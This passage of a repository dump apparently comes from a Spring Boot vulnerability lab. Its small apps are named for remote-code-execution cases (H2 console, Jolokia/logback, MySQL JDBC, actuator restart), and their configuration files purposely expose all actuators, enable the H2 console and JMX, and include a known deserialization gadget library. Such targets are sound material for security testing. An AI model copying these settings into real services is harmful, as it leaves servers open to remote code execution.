| @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } -------------------------------------------------------------------------------- /repository/springboot-h2-database-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9096 2 | server.address=127.0.0.1 3 | 4 | # ensure h2 database rce 5 | spring.jpa.database = MYSQL 6 | spring.jpa.database-platform=org.hibernate.dialect.MySQL5Dialect 7 | 8 | # enable h2 console jndi rce 9 | #spring.h2.console.path=/h2-console 10 | spring.h2.console.enabled=true 11 | 12 | # vulnerable configuration set 0: spring boot 1.0 - 1.4 13 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters 14 | # no configuration required to expose them 15 | 16 | # safe configuration set 0: spring boot 1.0 - 1.4 17 | #management.security.enabled=true 18 | 19 | # vulnerable configuration set 1: spring boot 1.5+ 20 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators 21 | #management.security.enabled=false 22 | 23 | # safe configuration set 1: spring boot 1.5+ 24 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 25 | #management.security.enabled=false 26 | 27 | ## vulnerable configuration set 2: spring boot 2+ 28 | #management.security.enabled=false 29 | #management.endpoint.refresh.enabled=true 30 | #management.endpoints.web.exposure.include=env,restart,refresh 31 | management.endpoints.web.exposure.include=* 32 | management.endpoint.restart.enabled=true 33 | -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/pom.xml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <project xmlns="http://maven.apache.org/POM/4.0.0" 3 | xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 4 | xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 5 | <modelVersion>4.0.0</modelVersion> 6 | 7 | <groupId>org.example</groupId> 8 | <artifactId>springboot-jolokia-logback-rce</artifactId> 9 | <version>1.0-SNAPSHOT</version> 10 | 11 | <properties> 12 | <java.version>1.8</java.version> 13 | <springboot.version>1.4.7.RELEASE</springboot.version> 14 | </properties> 15 | 16 | <dependencies> 17 | <dependency> 18 | <groupId>org.springframework.boot</groupId> 19 | <artifactId>spring-boot-starter-web</artifactId> 20 | <version>${springboot.version}</version> 21 | </dependency> 22 | 23 | <dependency> 24 | <groupId>org.springframework.boot</groupId> 25 | <artifactId>spring-boot-starter-actuator</artifactId> 26 | <version>${springboot.version}</version> 27 | </dependency> 28 | 29 | <dependency> 30 | <groupId>org.jolokia</groupId> 31 | <artifactId>jolokia-core</artifactId> 32 | <version>1.6.0</version> 33 | </dependency> 34 | </dependencies> 35 | 36 | <build> 37 | <plugins> 38 | <plugin> 39 | <groupId>org.springframework.boot</groupId> 40 | <artifactId>spring-boot-maven-plugin</artifactId> 41 | <version>${springboot.version}</version> 42 | </plugin> 43 | </plugins> 44 | </build> 45 | 46 | </project> -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/springboot-jolokia-logback-rce.iml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <module type="JAVA_MODULE" version="4" /> -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | public static void main(String[] args){ 9 | SpringApplication.run(Application.class,args); 10 | } 11 | } -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9094 2 | server.address=127.0.0.1 3 | 4 | # vulnerable configuration set 0: spring boot 1.0 - 1.4 5 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters 6 | # no configuration required to expose them 7 | 8 | # safe configuration set 0: spring boot 1.0 - 1.4 9 | #management.security.enabled=true 10 | 11 | # vulnerable configuration set 1: spring boot 1.5+ 12 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators 13 | #management.security.enabled=false 14 | 15 | # safe configuration set 1: spring boot 1.5+ 16 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 17 | #management.security.enabled=false 18 | 19 | # vulnerable configuration set 2: spring boot 2+ 20 | #management.endpoints.web.exposure.include=* 21 | #management.endpoint.env.post.enabled=true 22 | -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/src/main/resources/logback.xml: -------------------------------------------------------------------------------- 1 | <configuration> 2 | <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender"> 3 | <withJansi>true</withJansi> 4 | <encoder> 5 | <pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern> 6 | </encoder> 7 | </appender> 8 | <root level="info"> 9 | <appender-ref ref="STDOUT" /> 10 | </root> 11 | <jmxConfigurator/> 12 | </configuration> 13 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/pom.xml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <project xmlns="http://maven.apache.org/POM/4.0.0" 3 | xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 4 | xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 5 | <modelVersion>4.0.0</modelVersion> 6 | 7 | <groupId>org.example</groupId> 8 | <artifactId>springboot-mysql-jdbc-rce</artifactId> 9 | <version>1.0-SNAPSHOT</version> 10 | 11 | <properties> 12 | <java.version>1.8</java.version> 13 | </properties> 14 | 15 | <parent> 16 | <groupId>org.springframework.boot</groupId> 17 | <artifactId>spring-boot-starter-parent</artifactId> 18 | <version>2.2.1.RELEASE</version> 19 | </parent> 20 | 21 | <dependencies> 22 | <dependency> 23 | <groupId>mysql</groupId> 24 | <artifactId>mysql-connector-java</artifactId> 25 | <version>8.0.12</version> 26 | </dependency> 27 | 28 | <dependency> 29 | <groupId>commons-collections</groupId> 30 | <artifactId>commons-collections</artifactId> 31 | <version>3.2.1</version> 32 | <scope>runtime</scope> 33 | </dependency> 34 | 35 | <dependency> 36 | <groupId>org.springframework.boot</groupId> 37 | <artifactId>spring-boot-starter-thymeleaf</artifactId> 38 | </dependency> 39 | 40 | <dependency> 41 | <groupId>org.springframework.boot</groupId> 42 | <artifactId>spring-boot-starter-web</artifactId> 43 | </dependency> 44 | <dependency> 45 | <groupId>org.springframework.boot</groupId> 46 | <artifactId>spring-boot-starter-test</artifactId> 47 | <scope>test</scope> 48 | </dependency> 49 | <dependency> 50 | <groupId>org.springframework.cloud</groupId> 51 | <artifactId>spring-cloud-starter-config</artifactId> 52 | </dependency> 53 | <dependency> 54 | <groupId>org.springframework.boot</groupId> 55 | <artifactId>spring-boot-starter-actuator</artifactId> 56 | </dependency> 57 | <dependency> 58 | <groupId>org.springframework.cloud</groupId> 59 | <artifactId>spring-cloud-starter</artifactId> 60 | </dependency> 61 | <dependency> 62 | <groupId>org.springframework.boot</groupId> 63 | <artifactId>spring-boot-starter-data-jpa</artifactId> 64 | </dependency> 65 | </dependencies> 66 | 67 | <dependencyManagement> 68 | <dependencies> 69 | <dependency> 70 | <groupId>org.springframework.cloud</groupId> 71 | <artifactId>spring-cloud-dependencies</artifactId> 72 | <version>Greenwich.SR4</version> 73 | <type>pom</type> 74 | <scope>import</scope> 75 | </dependency> 76 | </dependencies> 77 | </dependencyManagement> 78 | 79 | <build> 80 | <plugins> 81 | <plugin> 82 | <groupId>org.springframework.boot</groupId> 83 | <artifactId>spring-boot-maven-plugin</artifactId> 84 | <configuration> 85 | <fork>false</fork><!--这里注意这里必须是 false 调试--> 86 | </configuration> 87 | </plugin> 88 | </plugins> 89 | </build> 90 | 91 | </project> -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/springboot-mysql-jdbc-rce.iml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <module type="JAVA_MODULE" version="4" /> -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | 7 | @SpringBootApplication 8 | public class Application { 9 | 10 | 11 | public static void main(String[] args) { 12 | SpringApplication.run(Application.class, args); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/commands/ProductForm.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.commands; 2 | 3 | 4 | import java.math.BigDecimal; 5 | 6 | 7 | public class ProductForm { 8 | private Long id; 9 | private String description; 10 | private BigDecimal price; 11 | private String imageUrl; 12 | 13 | public Long getId() { 14 | return id; 15 | } 16 | 17 | public void setId(Long id) { 18 | this.id = id; 19 | } 20 | 21 | public String getDescription() { 22 | return description; 23 | } 24 | 25 | public void setDescription(String description) { 26 | this.description = description; 27 | } 28 | 29 | public BigDecimal getPrice() { 30 | return price; 31 | } 32 | 33 | public void setPrice(BigDecimal price) { 34 | this.price = price; 35 | } 36 | 37 | public String getImageUrl() { 38 | return imageUrl; 39 | } 40 | 41 | public void setImageUrl(String imageUrl) { 42 | this.imageUrl = imageUrl; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/controllers/HelloController.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controllers; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RequestMethod; 6 | import org.springframework.web.bind.annotation.ResponseBody; 7 | 8 | @Controller 9 | public class HelloController { 10 | @ResponseBody 11 | @RequestMapping(value = {"/"}, method = RequestMethod.GET) 12 | public String hello(){ 13 | return "Hello"; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/controllers/ProductController.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controllers; 2 | 3 | import code.landgrey.commands.ProductForm; 4 | import code.landgrey.converters.ProductToProductForm; 5 | import code.landgrey.domain.Product; 6 | import code.landgrey.services.ProductService; 7 | import org.springframework.beans.factory.annotation.Autowired; 8 | import org.springframework.stereotype.Controller; 9 | import org.springframework.ui.Model; 10 | import org.springframework.validation.BindingResult; 11 | import org.springframework.web.bind.annotation.PathVariable; 12 | import org.springframework.web.bind.annotation.RequestMapping; 13 | import org.springframework.web.bind.annotation.RequestMethod; 14 | 15 | import javax.validation.Valid; 16 | 17 | 18 | @Controller 19 | public class ProductController { 20 | private ProductService productService; 21 | 22 | private ProductToProductForm productToProductForm; 23 | 24 | @Autowired 25 | public void setProductToProductForm(ProductToProductForm productToProductForm) { 26 | this.productToProductForm = productToProductForm; 27 | } 28 | 29 | @Autowired 30 | public void setProductService(ProductService productService) { 31 | this.productService = productService; 32 | } 33 | 34 | @RequestMapping({"/product/list", "/product"}) 35 | public String listProducts(Model model){ 36 | model.addAttribute("products", productService.listAll()); 37 | return "/product/list"; 38 | } 39 | 40 | @RequestMapping("/product/show/{id}") 41 | public String getProduct(@PathVariable String id, Model model){ 42 | model.addAttribute("product", productService.getById(Long.valueOf(id))); 43 | return "product/show"; 44 | } 45 | 46 | @RequestMapping("product/edit/{id}") 47 | public String edit(@PathVariable String id, Model model){ 48 | Product product = productService.getById(Long.valueOf(id)); 49 | ProductForm productForm = productToProductForm.convert(product); 50 | 51 | model.addAttribute("productForm", productForm); 52 | return "product/productform"; 53 | } 54 | 55 | @RequestMapping("/product/new") 56 | public String newProduct(Model model){ 57 | model.addAttribute("productForm", new ProductForm()); 58 | return "product/productform"; 59 | } 60 | 61 | @RequestMapping(value = "/product", method = RequestMethod.POST) 62 | public String saveOrUpdateProduct(@Valid ProductForm productForm, BindingResult bindingResult){ 63 | 64 | if(bindingResult.hasErrors()){ 65 | return "product/productform"; 66 | } 67 | 68 | Product savedProduct = productService.saveOrUpdateProductForm(productForm); 69 | 70 | return "redirect:/product/show/" + savedProduct.getId(); 71 | } 72 | 73 | @RequestMapping("/product/delete/{id}") 74 | public String delete(@PathVariable String id){ 75 | productService.delete(Long.valueOf(id)); 76 | return "redirect:/product/list"; 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/converters/ProductFormToProduct.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.converters; 2 | 3 | import code.landgrey.commands.ProductForm; 4 | import code.landgrey.domain.Product; 5 | import org.springframework.core.convert.converter.Converter; 6 | import org.springframework.stereotype.Component; 7 | import org.springframework.util.StringUtils; 8 | 9 | 10 | @Component 11 | public class ProductFormToProduct implements Converter<ProductForm, Product> { 12 | 13 | @Override 14 | public Product convert(ProductForm productForm) { 15 | Product product = new Product(); 16 | if (productForm.getId() != null && !StringUtils.isEmpty(productForm.getId())) { 17 | product.setId(new Long(productForm.getId())); 18 | } 19 | product.setDescription(productForm.getDescription()); 20 | product.setPrice(productForm.getPrice()); 21 | product.setImageUrl(productForm.getImageUrl()); 22 | return product; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/converters/ProductToProductForm.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.converters; 2 | 3 | import code.landgrey.commands.ProductForm; 4 | import code.landgrey.domain.Product; 5 | import org.springframework.core.convert.converter.Converter; 6 | import org.springframework.stereotype.Component; 7 | 8 | 9 | @Component 10 | public class ProductToProductForm implements Converter<Product, ProductForm> { 11 | @Override 12 | public ProductForm convert(Product product) { 13 | ProductForm productForm = new ProductForm(); 14 | productForm.setId(product.getId()); 15 | productForm.setDescription(product.getDescription()); 16 | productForm.setPrice(product.getPrice()); 17 | productForm.setImageUrl(product.getImageUrl()); 18 | return productForm; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/domain/Product.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.domain; 2 | 3 | 4 | import javax.persistence.Entity; 5 | import javax.persistence.GeneratedValue; 6 | import javax.persistence.Id; 7 | import java.math.BigDecimal; 8 | 9 | 10 | @Entity 11 | public class Product { 12 | 13 | @Id 14 | @GeneratedValue 15 | private Long _id; 16 | private String description; 17 | private BigDecimal price; 18 | private String imageUrl; 19 | 20 | public Long getId() { 21 | return _id; 22 | } 23 | 24 | public void setId(Long id) { 25 | this._id = id; 26 | } 27 | 28 | public String getDescription() { 29 | return description; 30 | } 31 | 32 | public void setDescription(String description) { 33 | this.description = description; 34 | } 35 | 36 | public BigDecimal getPrice() { 37 | return price; 38 | } 39 | 40 | public void setPrice(BigDecimal price) { 41 | this.price = price; 42 | } 43 | 44 | public String getImageUrl() { 45 | return imageUrl; 46 | } 47 | 48 | public void setImageUrl(String imageUrl) { 49 | this.imageUrl = imageUrl; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/repositories/ProductRepository.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.repositories; 2 | 3 | import code.landgrey.domain.Product; 4 | import org.springframework.data.repository.CrudRepository; 5 | 6 | 7 | public interface ProductRepository extends CrudRepository<Product, Long> { 8 | } 9 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductService.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.services; 2 | 3 | import code.landgrey.commands.ProductForm; 4 | import code.landgrey.domain.Product; 5 | 6 | import java.util.List; 7 | 8 | 9 | public interface ProductService { 10 | 11 | List<Product> listAll(); 12 | 13 | Product getById(Long id); 14 | 15 | Product saveOrUpdate(Product product); 16 | 17 | void delete(Long id); 18 | 19 | Product saveOrUpdateProductForm(ProductForm productForm); 20 | } 21 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductServiceImpl.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.services; 2 | 3 | import code.landgrey.commands.ProductForm; 4 | import code.landgrey.converters.ProductFormToProduct; 5 | import code.landgrey.domain.Product; 6 | import code.landgrey.repositories.ProductRepository; 7 | import org.springframework.beans.factory.annotation.Autowired; 8 | import org.springframework.stereotype.Service; 9 | 10 | import java.util.ArrayList; 11 | import java.util.List; 12 | 13 | 14 | @Service 15 | public class ProductServiceImpl implements ProductService { 16 | 17 | private ProductRepository productRepository; 18 | private ProductFormToProduct productFormToProduct; 19 | 20 | @Autowired 21 | public ProductServiceImpl(ProductRepository productRepository, ProductFormToProduct productFormToProduct) { 22 | this.productRepository = productRepository; 23 | this.productFormToProduct = productFormToProduct; 24 | } 25 | 26 | 27 | @Override 28 | public List<Product> listAll() { 29 | List<Product> products = new ArrayList<>(); 30 | productRepository.findAll().forEach(products::add); //fun with Java 8 31 | return products; 32 | } 33 | 34 | @Override 35 | public Product getById(Long id) { 36 | return productRepository.findById(id).orElse(null); 37 | } 38 | 39 | @Override 40 | public Product saveOrUpdate(Product product) { 41 | productRepository.save(product); 42 | return product; 43 | } 44 | 45 | @Override 46 | public void delete(Long id) { 47 | productRepository.deleteById(id); 48 | 49 | } 50 | 51 | @Override 52 | public Product saveOrUpdateProductForm(ProductForm productForm) { 53 | Product savedProduct = saveOrUpdate(productFormToProduct.convert(productForm)); 54 | 55 | System.out.println("Saved Product Id: " + savedProduct.getId()); 56 | return savedProduct; 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9097 2 | 3 | #management.security.enabled=false 4 | management.endpoint.restart.enabled=true 5 | management.endpoint.refresh.enabled=true 6 | management.endpoints.web.exposure.include=env,restart,refresh 7 | 8 | # =============================== 9 | # = DATA SOURCE 10 | # =============================== 11 | # Set here configurations for the database connection 12 | spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test 13 | spring.datasource.username=root 14 | spring.datasource.password=root 15 | spring.datasource.driver-class-name=com.mysql.jdbc.Driver 16 | 17 | # Keep the connection alive if idle for a long time (needed in production) 18 | spring.datasource.testWhileIdle=true 19 | spring.datasource.validationQuery=SELECT 1 20 | # =============================== 21 | # = JPA / HIBERNATE 22 | # =============================== 23 | # Show or not log for each sql query 24 | spring.jpa.show-sql=true 25 | # Hibernate ddl auto (create, create-drop, update): with "create-drop" the database 26 | # schema will be automatically created afresh for every start of application 27 | spring.jpa.hibernate.ddl-auto=create-drop 28 | # Naming strategy 29 | spring.jpa.hibernate.naming.implicit-strategy=org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyHbmImpl 30 | spring.jpa.hibernate.naming.physical-strategy=org.springframework.boot.orm.jpa.hibernate.SpringPhysicalNamingStrategy 31 | # Allows Hibernate to generate SQL optimized for a particular DBMS 32 | spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5Dialect 33 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/list.html: -------------------------------------------------------------------------------- 1 | <!DOCTYPE html> 2 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> 3 | <head> 4 | <title>Spring Core Online Tutorial - List Products</title> 5 | <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> 6 | 7 | <link href="http://cdn.jsdelivr.net/webjars/bootstrap/3.3.4/css/bootstrap.min.css" 8 | th:href="@{/webjars/bootstrap/3.3.5/css/bootstrap.min.css}" 9 | rel="stylesheet" media="screen"/> 10 | 11 | <script src="http://cdn.jsdelivr.net/webjars/jquery/2.1.4/jquery.min.js" 12 | th:src="@{/webjars/jquery/2.1.4/jquery.min.js}"></script> 13 | 14 | <link href="../../static/css/spring-core.css" 15 | th:href="@{css/spring-core.css}" rel="stylesheet" media="screen"/> 16 | </head> 17 | <body> 18 | <div class="container"> 19 | <div th:if="${not #lists.isEmpty(products)}"> 20 | <h2>Product List</h2> 21 | <table class="table table-striped"> 22 | <tr> 23 | <th>Id</th> 24 | <th>Description</th> 25 | <th>Price</th> 26 | <th>Image URL</th> 27 | <th>List</th> 28 | <th>Edit</th> 29 | <th>Delete</th> 30 | </tr> 31 | <tr th:each="product : ${products}"> 32 | <td th:text="${product.id}"></td> 33 | <td th:text="${product.description}"></td> 34 | <td th:text="${product.price}"></td> 35 | <td th:text="${product.imageUrl}"></td> 36 | <td><a th:href="${'/product/show/' + product.id}">View</a> </td> 37 | <td><a th:href="${'/product/edit/' + product.id}">Edit</a> </td> 38 | <td><a th:href="${'/product/delete/' + product.id}">Delete</a> </td> 39 | </tr> 40 | </table> 41 | </div> 42 | <div class="row"> 43 | <div class="col-sm-3"> 44 | <a href="/product/new">New Product</a> 45 | </div> 46 | </div> 47 | </div> 48 | 49 | </body> 50 | </html> -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/productform.html: -------------------------------------------------------------------------------- 1 | <!DOCTYPE html> 2 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> 3 | <head> 4 | <title>Spring Core Online Tutorial - Product Form</title> 5 | <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> 6 | 7 | <link href="http://cdn.jsdelivr.net/webjars/bootstrap/3.3.4/css/bootstrap.min.css" 8 | th:href="@{/webjars/bootstrap/3.3.5/css/bootstrap.min.css}" 9 | rel="stylesheet" media="screen"/> 10 | 11 | <script src="http://cdn.jsdelivr.net/webjars/jquery/2.1.4/jquery.min.js" 12 | th:src="@{/webjars/jquery/2.1.4/jquery.min.js}"></script> 13 | 14 | <link href="../../static/css/spring-core.css" 15 | th:href="@{css/spring-core.css}" rel="stylesheet" media="screen"/> 16 | </head> 17 | <body> 18 | <div class="container"> 19 | 20 | <h2>Product Details</h2> 21 | <div> 22 | <form class="form-horizontal" th:object="${productForm}" th:action="@{/product}" method="post"> 23 | 24 | <div th:if="${#fields.hasErrors('*')}" class="alert alert-danger"> 25 | <p th:text="#{form.hasErrors}">Error Message</p> 26 | </div> 27 | 28 | <input type="hidden" th:field="*{id}"/> 29 | 30 | <div class="form-group" th:class="${#fields.hasErrors('description')} ? 'form-group has-error' : 'form-group'"> 31 | <label class="col-sm-2 control-label">Description:</label> 32 | <div class="col-sm-10"> 33 | <input type="text" class="form-control" th:field="*{description}" th:errorclass="has-error"/> 34 | 35 | <span class="help-block"> 36 | <ul> 37 | <li th:each="err : ${#fields.errors('description')}" th:text="${err}" /> 38 | </ul> 39 | </span> 40 | </div> 41 | </div> 42 | 43 | <div class="form-group" th:class="${#fields.hasErrors('price')} ? 'form-group has-error' : 'form-group'"> 44 | <label class="col-sm-2 control-label">Price:</label> 45 | <div class="col-sm-10"> 46 | <input type="number" min="0" max="5000" step="0.01" class="form-control" th:field="*{price}" th:errorclass="has-error"/> 47 | 48 | <span class="help-block"> 49 | <ul> 50 | <li th:each="err : ${#fields.errors('price')}" th:text="${err}" /> 51 | </ul> 52 | </span> 53 | </div> 54 | </div> 55 | 56 | <div class="form-group" th:class="${#fields.hasErrors('imageUrl')} ? 'form-group has-error' : 'form-group'"> 57 | <label class="col-sm-2 control-label">Image Url:</label> 58 | <div class="col-sm-10"> 59 | <input type="text" class="form-control" th:field="*{imageUrl}" th:errorclass="has-error"/> 60 | 61 | <span class="help-block"> 62 | <ul> 63 | <li th:each="err : ${#fields.errors('imageUrl')}" th:text="${err}" /> 64 | </ul> 65 | </span> 66 | </div> 67 | </div> 68 | <div class="row"> 69 | <button type="submit" class="btn btn-default">Submit</button> 70 | </div> 71 | </form> 72 | </div> 73 | </div> 74 | 75 | </body> 76 | </html> -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/show.html: -------------------------------------------------------------------------------- 1 | <!DOCTYPE html> 2 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> 3 | <head> 4 | <title>Spring Core Online Tutorial - Show Product</title> 5 | <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> 6 | 7 | <link href="http://cdn.jsdelivr.net/webjars/bootstrap/3.3.4/css/bootstrap.min.css" 8 | th:href="@{/webjars/bootstrap/3.3.5/css/bootstrap.min.css}" 9 | rel="stylesheet" media="screen"/> 10 | 11 | <script src="http://cdn.jsdelivr.net/webjars/jquery/2.1.4/jquery.min.js" 12 | th:src="@{/webjars/jquery/2.1.4/jquery.min.js}"></script> 13 | 14 | <link href="../../static/css/spring-core.css" 15 | th:href="@{css/spring-core.css}" rel="stylesheet" media="screen"/> 16 | </head> 17 | <body> 18 | <div class="container"> 19 | 20 | <div class="row"> 21 | <div class="col-sm-6"> 22 | <h2>Show Product</h2> 23 | </div> 24 | </div> 25 | <div class="row"> 26 | <div class="col-sm-8"> 27 | <form class="form-horizontal"> 28 | <div class="form-group"> 29 | <label class="col-sm-2 control-label">Product Id:</label> 30 | <div class="col-sm-10"> 31 | <p class="form-control-static" th:text="${product.id}">Product Id</p> 32 | </div> 33 | </div> 34 | <div class="form-group"> 35 | <label class="col-sm-2 control-label">Description:</label> 36 | <div class="col-sm-10"> 37 | <p class="form-control-static" th:text="${product.description}">Description</p> 38 | </div> 39 | </div> 40 | <div class="form-group"> 41 | <label class="col-sm-2 control-label">Price:</label> 42 | <div class="col-sm-10"> 43 | <p class="form-control-static" th:text="${product.price}">Price</p> 44 | </div> 45 | </div> 46 | <div class="form-group"> 47 | <label class="col-sm-2 sm-2 control-label">Image URL:</label> 48 | <div class="col-sm-10"> 49 | <p class="form-control-static" th:text="${product.imageUrl}">Image</p> 50 | </div> 51 | </div> 52 | </form> 53 | </div> 54 | </div> 55 | </div> 56 | 57 | </body> 58 | </html> -------------------------------------------------------------------------------- /repository/springboot-restart-rce/pom.xml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <project xmlns="http://maven.apache.org/POM/4.0.0" 3 | xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 4 | xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 5 | <modelVersion>4.0.0</modelVersion> 6 | 7 | <groupId>org.example</groupId> 8 | <artifactId>springboot-restart-rce</artifactId> 9 | <version>1.0-SNAPSHOT</version> 10 | <parent> 11 | <groupId>org.springframework.boot</groupId> 12 | <artifactId>spring-boot-starter-parent</artifactId> 13 | <version>2.2.1.RELEASE</version> 14 | </parent> 15 | 16 | <properties> 17 | <java.version>1.8</java.version> 18 | </properties> 19 | 20 | <dependencies> 21 | <dependency> 22 | <groupId>org.springframework.boot</groupId> 23 | <artifactId>spring-boot-starter-web</artifactId> 24 | </dependency> 25 | 26 | <dependency> 27 | <groupId>org.springframework.boot</groupId> 28 | <artifactId>spring-boot-starter-actuator</artifactId> 29 | </dependency> 30 | 31 | <dependency> 32 | <groupId>org.springframework.cloud</groupId> 33 | <artifactId>spring-cloud-starter-config</artifactId> 34 | </dependency> 35 | 36 | <dependency> 37 | <groupId>org.springframework.boot</groupId> 38 | <artifactId>spring-boot-starter-data-jpa</artifactId> 39 | </dependency> 40 | 41 | <dependency> 42 | <groupId>com.h2database</groupId> 43 | <artifactId>h2</artifactId> 44 | </dependency> 45 | 46 | <dependency> 47 | <groupId>org.codehaus.groovy</groupId> 48 | <artifactId>groovy</artifactId> 49 | <version>2.5.8</version> 50 | </dependency> 51 | 52 | </dependencies> 53 | 54 | <dependencyManagement> 55 | <dependencies> 56 | <dependency> 57 | <groupId>org.springframework.cloud</groupId> 58 | <artifactId>spring-cloud-dependencies</artifactId> 59 | <version>Hoxton.SR1</version> 60 | <type>pom</type> 61 | <scope>import</scope> 62 | </dependency> 63 | </dependencies> 64 | </dependencyManagement> 65 | 66 | <build> 67 | <plugins> 68 | <plugin> 69 | <groupId>org.springframework.boot</groupId> 70 | <artifactId>spring-boot-maven-plugin</artifactId> 71 | </plugin> 72 | </plugins> 73 | </build> 74 | 75 | </project> -------------------------------------------------------------------------------- /repository/springboot-restart-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | public static void main(String[] args){ 9 | SpringApplication.run(Application.class,args); 10 | } 11 | } -------------------------------------------------------------------------------- /repository/springboot-restart-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = 